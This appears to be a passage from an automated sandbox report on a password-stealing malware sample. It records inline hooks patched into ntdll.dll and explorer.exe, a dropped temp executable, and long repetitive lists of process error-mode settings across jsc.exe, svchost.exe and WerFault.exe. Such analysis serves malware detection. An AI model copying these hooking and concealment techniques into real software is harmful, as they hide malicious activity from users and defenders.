IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
